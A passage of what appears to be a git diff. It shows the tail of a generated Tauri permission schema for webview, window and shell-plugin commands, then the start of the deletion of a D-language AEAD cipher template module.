scope.","commands":{"allow":["set_webview_position"],"deny":[]}},"allow-set-webview-size":{"identifier":"allow-set-webview-size","description":"Enables the set_webview_size command without any pre-configured scope.","commands":{"allow":["set_webview_size"],"deny":[]}},"allow-set-webview-zoom":{"identifier":"allow-set-webview-zoom","description":"Enables the set_webview_zoom command without any pre-configured scope.","commands":{"allow":["set_webview_zoom"],"deny":[]}},"allow-webview-close":{"identifier":"allow-webview-close","description":"Enables the webview_close command without any pre-configured scope.","commands":{"allow":["webview_close"],"deny":[]}},"allow-webview-hide":{"identifier":"allow-webview-hide","description":"Enables the webview_hide command without any pre-configured scope.","commands":{"allow":["webview_hide"],"deny":[]}},"allow-webview-position":{"identifier":"allow-webview-position","description":"Enables the webview_position command without any pre-configured scope.","commands":{"allow":["webview_position"],"deny":[]}},"allow-webview-show":{"identifier":"allow-webview-show","description":"Enables the webview_show command without any pre-configured scope.","commands":{"allow":["webview_show"],"deny":[]}},"allow-webview-size":{"identifier":"allow-webview-size","description":"Enables the webview_size command without any pre-configured scope.","commands":{"allow":["webview_size"],"deny":[]}},"deny-clear-all-browsing-data":{"identifier":"deny-clear-all-browsing-data","description":"Denies the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_all_browsing_data"]}},"deny-create-webview":{"identifier":"deny-create-webview","description":"Denies the create_webview command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview"]}},"deny-create-webview-window":{"identifier":"deny-create-webview-window","description":"Denies the create_webview_window command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview_window"]}},"deny-get-all-webviews":{"identifier":"deny-get-all-webviews","description":"Denies the get_all_webviews command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_webviews"]}},"deny-internal-toggle-devtools":{"identifier":"deny-internal-toggle-devtools","description":"Denies the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_devtools"]}},"deny-print":{"identifier":"deny-print","description":"Denies the print command without any pre-configured scope.","commands":{"allow":[],"deny":["print"]}},"deny-reparent":{"identifier":"deny-reparent","description":"Denies the reparent command without any pre-configured scope.","commands":{"allow":[],"deny":["reparent"]}},"deny-set-webview-focus":{"identifier":"deny-set-webview-focus","description":"Denies the set_webview_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_focus"]}},"deny-set-webview-position":{"identifier":"deny-set-webview-position","description":"Denies the set_webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_position"]}},"deny-set-webview-size":{"identifier":"deny-set-webview-size","description":"Denies the set_webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_size"]}},"deny-set-webview-zoom":{"identifier":"deny-set-webview-zoom","description":"Denies the set_webview_zoom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_zoom"]}},"deny-webview-close":{"identifier":"deny-webview-close","description":"Denies the webview_close command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_close"]}},"deny-webview-hide":{"identifier":"deny-webview-hide","description":"Denies the webview_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_hide"]}},"deny-webview-position":{"identifier":"deny-webview-position","description":"Denies the webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_position"]}},"deny-webview-show":{"identifier":"deny-webview-show","description":"Denies the webview_show command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_show"]}},"deny-webview-size":{"identifier":"deny-webview-size","description":"Denies the webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_size"]}}},"permission_sets":{},"global_scope_schema":null},"core:window":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-windows","allow-scale-factor","allow-inner-position","allow-outer-position","allow-inner-size","allow-outer-size","allow-is-fullscreen","allow-is-minimized","allow-is-maximized","allow-is-focused","allow-is-decorated","allow-is-resizable","allow-is-maximizable","allow-is-minimizable","allow-is-closable","allow-is-visible","allow-is-enabled","allow-title","allow-current-monitor","allow-primary-monitor","allow-monitor-from-point","allow-available-monitors","allow-cursor-position","allow-theme","allow-internal-toggle-maximize"]},"permissions":{"allow-available-monitors":{"identifier":"allow-available-monitors","description":"Enables the available_monitors command without any pre-configured scope.","commands":{"allow":["available_monitors"],"deny":[]}},"allow-center":{"identifier":"allow-center","description":"Enables the center command without any pre-configured scope.","commands":{"allow":["center"],"deny":[]}},"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"allow-create":{"identifier":"allow-create","description":"Enables the create command without any pre-configured scope.","commands":{"allow":["create"],"deny":[]}},"allow-current-monitor":{"identifier":"allow-current-monitor","description":"Enables the current_monitor command without any pre-configured scope.","commands":{"allow":["current_monitor"],"deny":[]}},"allow-cursor-position":{"identifier":"allow-cursor-position","description":"Enables the cursor_position command without any pre-configured scope.","commands":{"allow":["cursor_position"],"deny":[]}},"allow-destroy":{"identifier":"allow-destroy","description":"Enables the destroy command without any pre-configured scope.","commands":{"allow":["destroy"],"deny":[]}},"allow-get-all-windows":{"identifier":"allow-get-all-windows","description":"Enables the get_all_windows command without any pre-configured scope.","commands":{"allow":["get_all_windows"],"deny":[]}},"allow-hide":{"identifier":"allow-hide","description":"Enables the hide command without any pre-configured scope.","commands":{"allow":["hide"],"deny":[]}},"allow-inner-position":{"identifier":"allow-inner-position","description":"Enables the inner_position command without any pre-configured scope.","commands":{"allow":["inner_position"],"deny":[]}},"allow-inner-size":{"identifier":"allow-inner-size","description":"Enables the inner_size command without any pre-configured scope.","commands":{"allow":["inner_size"],"deny":[]}},"allow-internal-toggle-maximize":{"identifier":"allow-internal-toggle-maximize","description":"Enables the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":["internal_toggle_maximize"],"deny":[]}},"allow-is-closable":{"identifier":"allow-is-closable","description":"Enables the is_closable command without any pre-configured scope.","commands":{"allow":["is_closable"],"deny":[]}},"allow-is-decorated":{"identifier":"allow-is-decorated","description":"Enables the is_decorated command without any pre-configured scope.","commands":{"allow":["is_decorated"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-is-focused":{"identifier":"allow-is-focused","description":"Enables the is_focused command without any pre-configured scope.","commands":{"allow":["is_focused"],"deny":[]}},"allow-is-fullscreen":{"identifier":"allow-is-fullscreen","description":"Enables the is_fullscreen command without any pre-configured scope.","commands":{"allow":["is_fullscreen"],"deny":[]}},"allow-is-maximizable":{"identifier":"allow-is-maximizable","description":"Enables the is_maximizable command without any pre-configured scope.","commands":{"allow":["is_maximizable"],"deny":[]}},"allow-is-maximized":{"identifier":"allow-is-maximized","description":"Enables the is_maximized command without any pre-configured scope.","commands":{"allow":["is_maximized"],"deny":[]}},"allow-is-minimizable":{"identifier":"allow-is-minimizable","description":"Enables the is_minimizable command without any pre-configured scope.","commands":{"allow":["is_minimizable"],"deny":[]}},"allow-is-minimized":{"identifier":"allow-is-minimized","description":"Enables the is_minimized command without any pre-configured scope.","commands":{"allow":["is_minimized"],"deny":[]}},"allow-is-resizable":{"identifier":"allow-is-resizable","description":"Enables the is_resizable command without any pre-configured scope.","commands":{"allow":["is_resizable"],"deny":[]}},"allow-is-visible":{"identifier":"allow-is-visible","description":"Enables the is_visible command without any pre-configured scope.","commands":{"allow":["is_visible"],"deny":[]}},"allow-maximize":{"identifier":"allow-maximize","description":"Enables the maximize command without any pre-configured scope.","commands":{"allow":["maximize"],"deny":[]}},"allow-minimize":{"identifier":"allow-minimize","description":"Enables the minimize command without any pre-configured scope.","commands":{"allow":["minimize"],"deny":[]}},"allow-monitor-from-point":{"identifier":"allow-monitor-from-point","description":"Enables the monitor_from_point command without any pre-configured scope.","commands":{"allow":["monitor_from_point"],"deny":[]}},"allow-outer-position":{"identifier":"allow-outer-position","description":"Enables the outer_position command without any pre-configured scope.","commands":{"allow":["outer_position"],"deny":[]}},"allow-outer-size":{"identifier":"allow-outer-size","description":"Enables the outer_size command without any pre-configured scope.","commands":{"allow":["outer_size"],"deny":[]}},"allow-primary-monitor":{"identifier":"allow-primary-monitor","description":"Enables the primary_monitor command without any pre-configured scope.","commands":{"allow":["primary_monitor"],"deny":[]}},"allow-request-user-attention":{"identifier":"allow-request-user-attention","description":"Enables the request_user_attention command without any pre-configured scope.","commands":{"allow":["request_user_attention"],"deny":[]}},"allow-scale-factor":{"identifier":"allow-scale-factor","description":"Enables the scale_factor command without any pre-configured scope.","commands":{"allow":["scale_factor"],"deny":[]}},"allow-set-always-on-bottom":{"identifier":"allow-set-always-on-bottom","description":"Enables the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":["set_always_on_bottom"],"deny":[]}},"allow-set-always-on-top":{"identifier":"allow-set-always-on-top","description":"Enables the set_always_on_top command without any pre-configured scope.","commands":{"allow":["set_always_on_top"],"deny":[]}},"allow-set-closable":{"identifier":"allow-set-closable","description":"Enables the set_closable command without any pre-configured scope.","commands":{"allow":["set_closable"],"deny":[]}},"allow-set-content-protected":{"identifier":"allow-set-content-protected","description":"Enables the set_content_protected command without any pre-configured scope.","commands":{"allow":["set_content_protected"],"deny":[]}},"allow-set-cursor-grab":{"identifier":"allow-set-cursor-grab","description":"Enables the set_cursor_grab command without any pre-configured scope.","commands":{"allow":["set_cursor_grab"],"deny":[]}},"allow-set-cursor-icon":{"identifier":"allow-set-cursor-icon","description":"Enables the set_cursor_icon command without any pre-configured scope.","commands":{"allow":["set_cursor_icon"],"deny":[]}},"allow-set-cursor-position":{"identifier":"allow-set-cursor-position","description":"Enables the set_cursor_position command without any pre-configured scope.","commands":{"allow":["set_cursor_position"],"deny":[]}},"allow-set-cursor-visible":{"identifier":"allow-set-cursor-visible","description":"Enables the set_cursor_visible command without any pre-configured scope.","commands":{"allow":["set_cursor_visible"],"deny":[]}},"allow-set-decorations":{"identifier":"allow-set-decorations","description":"Enables the set_decorations command without any pre-configured scope.","commands":{"allow":["set_decorations"],"deny":[]}},"allow-set-effects":{"identifier":"allow-set-effects","description":"Enables the set_effects command without any pre-configured scope.","commands":{"allow":["set_effects"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-focus":{"identifier":"allow-set-focus","description":"Enables the set_focus command without any pre-configured scope.","commands":{"allow":["set_focus"],"deny":[]}},"allow-set-fullscreen":{"identifier":"allow-set-fullscreen","description":"Enables the set_fullscreen command without any pre-configured scope.","commands":{"allow":["set_fullscreen"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-ignore-cursor-events":{"identifier":"allow-set-ignore-cursor-events","description":"Enables the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":["set_ignore_cursor_events"],"deny":[]}},"allow-set-max-size":{"identifier":"allow-set-max-size","description":"Enables the set_max_size command without any pre-configured scope.","commands":{"allow":["set_max_size"],"deny":[]}},"allow-set-maximizable":{"identifier":"allow-set-maximizable","description":"Enables the set_maximizable command without any pre-configured scope.","commands":{"allow":["set_maximizable"],"deny":[]}},"allow-set-min-size":{"identifier":"allow-set-min-size","description":"Enables the set_min_size command without any pre-configured scope.","commands":{"allow":["set_min_size"],"deny":[]}},"allow-set-minimizable":{"identifier":"allow-set-minimizable","description":"Enables the set_minimizable command without any pre-configured scope.","commands":{"allow":["set_minimizable"],"deny":[]}},"allow-set-position":{"identifier":"allow-set-position","description":"Enables the set_position command without any pre-configured scope.","commands":{"allow":["set_position"],"deny":[]}},"allow-set-progress-bar":{"identifier":"allow-set-progress-bar","description":"Enables the set_progress_bar command without any pre-configured scope.","commands":{"allow":["set_progress_bar"],"deny":[]}},"allow-set-resizable":{"identifier":"allow-set-resizable","description":"Enables the set_resizable command without any pre-configured scope.","commands":{"allow":["set_resizable"],"deny":[]}},"allow-set-shadow":{"identifier":"allow-set-shadow","description":"Enables the set_shadow command without any pre-configured scope.","commands":{"allow":["set_shadow"],"deny":[]}},"allow-set-size":{"identifier":"allow-set-size","description":"Enables the set_size command without any pre-configured scope.","commands":{"allow":["set_size"],"deny":[]}},"allow-set-size-constraints":{"identifier":"allow-set-size-constraints","description":"Enables the set_size_constraints command without any pre-configured scope.","commands":{"allow":["set_size_constraints"],"deny":[]}},"allow-set-skip-taskbar":{"identifier":"allow-set-skip-taskbar","description":"Enables the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":["set_skip_taskbar"],"deny":[]}},"allow-set-theme":{"identifier":"allow-set-theme","description":"Enables the set_theme command without any pre-configured scope.","commands":{"allow":["set_theme"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-title-bar-style":{"identifier":"allow-set-title-bar-style","description":"Enables the set_title_bar_style command without any pre-configured scope.","commands":{"allow":["set_title_bar_style"],"deny":[]}},"allow-set-visible-on-all-workspaces":{"identifier":"allow-set-visible-on-all-workspaces","description":"Enables the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":["set_visible_on_all_workspaces"],"deny":[]}},"allow-show":{"identifier":"allow-show","description":"Enables the show command without any pre-configured scope.","commands":{"allow":["show"],"deny":[]}},"allow-start-dragging":{"identifier":"allow-start-dragging","description":"Enables the start_dragging command without any pre-configured scope.","commands":{"allow":["start_dragging"],"deny":[]}},"allow-start-resize-dragging":{"identifier":"allow-start-resize-dragging","description":"Enables the start_resize_dragging command without any pre-configured scope.","commands":{"allow":["start_resize_dragging"],"deny":[]}},"allow-theme":{"identifier":"allow-theme","description":"Enables the theme command without any pre-configured scope.","commands":{"allow":["theme"],"deny":[]}},"allow-title":{"identifier":"allow-title","description":"Enables the title command without any pre-configured scope.","commands":{"allow":["title"],"deny":[]}},"allow-toggle-maximize":{"identifier":"allow-toggle-maximize","description":"Enables the toggle_maximize command without any pre-configured scope.","commands":{"allow":["toggle_maximize"],"deny":[]}},"allow-unmaximize":{"identifier":"allow-unmaximize","description":"Enables the unmaximize command without any pre-configured scope.","commands":{"allow":["unmaximize"],"deny":[]}},"allow-unminimize":{"identifier":"allow-unminimize","description":"Enables the unminimize command without any pre-configured scope.","commands":{"allow":["unminimize"],"deny":[]}},"deny-available-monitors":{"identifier":"deny-available-monitors","description":"Denies the available_monitors command without any pre-configured scope.","commands":{"allow":[],"deny":["available_monitors"]}},"deny-center":{"identifier":"deny-center","description":"Denies the center command without any pre-configured scope.","commands":{"allow":[],"deny":["center"]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}},"deny-create":{"identifier":"deny-create","description":"Denies the create command without any pre-configured scope.","commands":{"allow":[],"deny":["create"]}},"deny-current-monitor":{"identifier":"deny-current-monitor","description":"Denies the current_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["current_monitor"]}},"deny-cursor-position":{"identifier":"deny-cursor-position","description":"Denies the cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["cursor_position"]}},"deny-destroy":{"identifier":"deny-destroy","description":"Denies the destroy command without any pre-configured scope.","commands":{"allow":[],"deny":["destroy"]}},"deny-get-all-windows":{"identifier":"deny-get-all-windows","description":"Denies the get_all_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_windows"]}},"deny-hide":{"identifier":"deny-hide","description":"Denies the hide command without any pre-configured scope.","commands":{"allow":[],"deny":["hide"]}},"deny-inner-position":{"identifier":"deny-inner-position","description":"Denies the inner_position command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_position"]}},"deny-inner-size":{"identifier":"deny-inner-size","description":"Denies the inner_size command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_size"]}},"deny-internal-toggle-maximize":{"identifier":"deny-internal-toggle-maximize","description":"Denies the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_maximize"]}},"deny-is-closable":{"identifier":"deny-is-closable","description":"Denies the is_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_closable"]}},"deny-is-decorated":{"identifier":"deny-is-decorated","description":"Denies the is_decorated command without any pre-configured scope.","commands":{"allow":[],"deny":["is_decorated"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-is-focused":{"identifier":"deny-is-focused","description":"Denies the is_focused command without any pre-configured scope.","commands":{"allow":[],"deny":["is_focused"]}},"deny-is-fullscreen":{"identifier":"deny-is-fullscreen","description":"Denies the is_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["is_fullscreen"]}},"deny-is-maximizable":{"identifier":"deny-is-maximizable","description":"Denies the is_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximizable"]}},"deny-is-maximized":{"identifier":"deny-is-maximized","description":"Denies the is_maximized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximized"]}},"deny-is-minimizable":{"identifier":"deny-is-minimizable","description":"Denies the is_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimizable"]}},"deny-is-minimized":{"identifier":"deny-is-minimized","description":"Denies the is_minimized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimized"]}},"deny-is-resizable":{"identifier":"deny-is-resizable","description":"Denies the is_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_resizable"]}},"deny-is-visible":{"identifier":"deny-is-visible","description":"Denies the is_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["is_visible"]}},"deny-maximize":{"identifier":"deny-maximize","description":"Denies the maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["maximize"]}},"deny-minimize":{"identifier":"deny-minimize","description":"Denies the minimize command without any pre-configured scope.","commands":{"allow":[],"deny":["minimize"]}},"deny-monitor-from-point":{"identifier":"deny-monitor-from-point","description":"Denies the monitor_from_point command without any pre-configured scope.","commands":{"allow":[],"deny":["monitor_from_point"]}},"deny-outer-position":{"identifier":"deny-outer-position","description":"Denies the outer_position command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_position"]}},"deny-outer-size":{"identifier":"deny-outer-size","description":"Denies the outer_size command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_size"]}},"deny-primary-monitor":{"identifier":"deny-primary-monitor","description":"Denies the primary_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["primary_monitor"]}},"deny-request-user-attention":{"identifier":"deny-request-user-attention","description":"Denies the request_user_attention command without any pre-configured scope.","commands":{"allow":[],"deny":["request_user_attention"]}},"deny-scale-factor":{"identifier":"deny-scale-factor","description":"Denies the scale_factor command without any pre-configured scope.","commands":{"allow":[],"deny":["scale_factor"]}},"deny-set-always-on-bottom":{"identifier":"deny-set-always-on-bottom","description":"Denies the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_bottom"]}},"deny-set-always-on-top":{"identifier":"deny-set-always-on-top","description":"Denies the set_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_top"]}},"deny-set-closable":{"identifier":"deny-set-closable","description":"Denies the set_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_closable"]}},"deny-set-content-protected":{"identifier":"deny-set-content-protected","description":"Denies the set_content_protected command without any pre-configured scope.","commands":{"allow":[],"deny":["set_content_protected"]}},"deny-set-cursor-grab":{"identifier":"deny-set-cursor-grab","description":"Denies the set_cursor_grab command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_grab"]}},"deny-set-cursor-icon":{"identifier":"deny-set-cursor-icon","description":"Denies the set_cursor_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_icon"]}},"deny-set-cursor-position":{"identifier":"deny-set-cursor-position","description":"Denies the set_cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_position"]}},"deny-set-cursor-visible":{"identifier":"deny-set-cursor-visible","description":"Denies the set_cursor_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_visible"]}},"deny-set-decorations":{"identifier":"deny-set-decorations","description":"Denies the set_decorations command without any pre-configured scope.","commands":{"allow":[],"deny":["set_decorations"]}},"deny-set-effects":{"identifier":"deny-set-effects","description":"Denies the set_effects command without any pre-configured scope.","commands":{"allow":[],"deny":["set_effects"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-focus":{"identifier":"deny-set-focus","description":"Denies the set_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focus"]}},"deny-set-fullscreen":{"identifier":"deny-set-fullscreen","description":"Denies the set_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_fullscreen"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-ignore-cursor-events":{"identifier":"deny-set-ignore-cursor-events","description":"Denies the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":[],"deny":["set_ignore_cursor_events"]}},"deny-set-max-size":{"identifier":"deny-set-max-size","description":"Denies the set_max_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_max_size"]}},"deny-set-maximizable":{"identifier":"deny-set-maximizable","description":"Denies the set_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_maximizable"]}},"deny-set-min-size":{"identifier":"deny-set-min-size","description":"Denies the set_min_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_min_size"]}},"deny-set-minimizable":{"identifier":"deny-set-minimizable","description":"Denies the set_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_minimizable"]}},"deny-set-position":{"identifier":"deny-set-position","description":"Denies the set_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_position"]}},"deny-set-progress-bar":{"identifier":"deny-set-progress-bar","description":"Denies the set_progress_bar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_progress_bar"]}},"deny-set-resizable":{"identifier":"deny-set-resizable","description":"Denies the set_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_resizable"]}},"deny-set-shadow":{"identifier":"deny-set-shadow","description":"Denies the set_shadow command without any pre-configured scope.","commands":{"allow":[],"deny":["set_shadow"]}},"deny-set-size":{"identifier":"deny-set-size","description":"Denies the set_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size"]}},"deny-set-size-constraints":{"identifier":"deny-set-size-constraints","description":"Denies the set_size_constraints command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size_constraints"]}},"deny-set-skip-taskbar":{"identifier":"deny-set-skip-taskbar","description":"Denies the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_skip_taskbar"]}},"deny-set-theme":{"identifier":"deny-set-theme","description":"Denies the set_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_theme"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-title-bar-style":{"identifier":"deny-set-title-bar-style","description":"Denies the set_title_bar_style command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title_bar_style"]}},"deny-set-visible-on-all-workspaces":{"identifier":"deny-set-visible-on-all-workspaces","description":"Denies the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible_on_all_workspaces"]}},"deny-show":{"identifier":"deny-show","description":"Denies the show command without any pre-configured scope.","commands":{"allow":[],"deny":["show"]}},"deny-start-dragging":{"identifier":"deny-start-dragging","description":"Denies the start_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_dragging"]}},"deny-start-resize-dragging":{"identifier":"deny-start-resize-dragging","description":"Denies the start_resize_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_resize_dragging"]}},"deny-theme":{"identifier":"deny-theme","description":"Denies the theme command without any pre-configured scope.","commands":{"allow":[],"deny":["theme"]}},"deny-title":{"identifier":"deny-title","description":"Denies the title command without any pre-configured scope.","commands":{"allow":[],"deny":["title"]}},"deny-toggle-maximize":{"identifier":"deny-toggle-maximize","description":"Denies the toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["toggle_maximize"]}},"deny-unmaximize":{"identifier":"deny-unmaximize","description":"Denies the unmaximize command without any pre-configured scope.","commands":{"allow":[],"deny":["unmaximize"]}},"deny-unminimize":{"identifier":"deny-unminimize","description":"Denies the unminimize command without any pre-configured scope.","commands":{"allow":[],"deny":["unminimize"]}}},"permission_sets":{},"global_scope_schema":null},"shell":{"default_permission":{"identifier":"default","description":"This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n","permissions":["allow-open"]},"permissions":{"allow-execute":{"identifier":"allow-execute","description":"Enables the execute command without any pre-configured scope.","commands":{"allow":["execute"],"deny":[]}},"allow-kill":{"identifier":"allow-kill","description":"Enables the kill command without any pre-configured scope.","commands":{"allow":["kill"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-spawn":{"identifier":"allow-spawn","description":"Enables the spawn command without any pre-configured scope.","commands":{"allow":["spawn"],"deny":[]}},"allow-stdin-write":{"identifier":"allow-stdin-write","description":"Enables the stdin_write command without any pre-configured scope.","commands":{"allow":["stdin_write"],"deny":[]}},"deny-execute":{"identifier":"deny-execute","description":"Denies the execute command without any pre-configured scope.","commands":{"allow":[],"deny":["execute"]}},"deny-kill":{"identifier":"deny-kill","description":"Denies the kill command without any pre-configured scope.","commands":{"allow":[],"deny":["kill"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-spawn":{"identifier":"deny-spawn","description":"Denies the spawn command without any pre-configured scope.","commands":{"allow":[],"deny":["spawn"]}},"deny-stdin-write":{"identifier":"deny-stdin-write","description":"Denies the stdin_write command without any pre-configured scope.","commands":{"allow":[],"deny":["stdin_write"]}}},"permission_sets":{},"global_scope_schema":{"$schema":"http://json-schema.org/draft-07/schema#","anyOf":[{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"cmd":{"description":"The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.","type":"string"},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"}},"required":["cmd","name"],"type":"object"},{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"},"sidecar":{"description":"If this command is a sidecar command.","type":"boolean"}},"required":["name","sidecar"],"type":"object"}],"definitions":{"ShellScopeEntryAllowedArg":{"anyOf":[{"description":"A non-configurable argument that is passed to the command in the order it was specified.","type":"string"},{"additionalProperties":false,"description":"A variable that is set while calling the command from the webview API.","properties":{"raw":{"default":false,"description":"Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.","type":"boolean"},"validator":{"description":"[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]: ","type":"string"}},"required":["validator"],"type":"object"}],"description":"A command argument allowed to be executed by the webview API."},"ShellScopeEntryAllowedArgs":{"anyOf":[{"description":"Use a simple boolean to allow all or disable all arguments to this command configuration.","type":"boolean"},{"description":"A specific set of [`ShellScopeEntryAllowedArg`] that are valid to call for the command configuration.","items":{"$ref":"#/definitions/ShellScopeEntryAllowedArg"},"type":"array"}],"description":"A set of command arguments allowed to be executed by the webview API.\n\nA value of `true` will allow any arguments to be passed to the command. `false` will disable all arguments. A list of [`ShellScopeEntryAllowedArg`] will set those arguments as the only valid arguments to be passed to the attached command configuration."}},"description":"Shell scope entry.","title":"ShellScopeEntry"}}} \ No newline at end of file diff --git a/aead.d b/aead.d deleted file mode 100644 index 576ada6..0000000 --- a/aead.d +++ /dev/null @@ -1,198 +0,0 @@ -module angel.utils.cryptography.aead; - -public import angel.utils.cryptography.blockcipher; - -/// -/// Test if T is a AEAD cipher. -/// -@safe -template isAEADCipher(T) -{ - enum bool isAEADCipher = - is(T == struct) && - is(typeof( - { - ubyte[0] block; - T bc = void; //Can define - - bc.start(true, block, block); // start with key, iv - - string name = T.name; - uint macSize = T.macSize; - - //BlockCipher c = bc.getUnderlyingCipher(); - bc.processAADBytes(cast (const ubyte[])block); - - ubyte[] slice = bc.processBytes(cast(const ubyte[]) [0], cast(ubyte[]) [0]); - //ubyte[] mac = bc.finish(block); - - size_t len = bc.finish(cast(ubyte[]) [0], cast(ubyte[]) [0]); - size_t s1 = bc.getUpdateOutputSize(cast(size_t) 0); - size_t s2 = 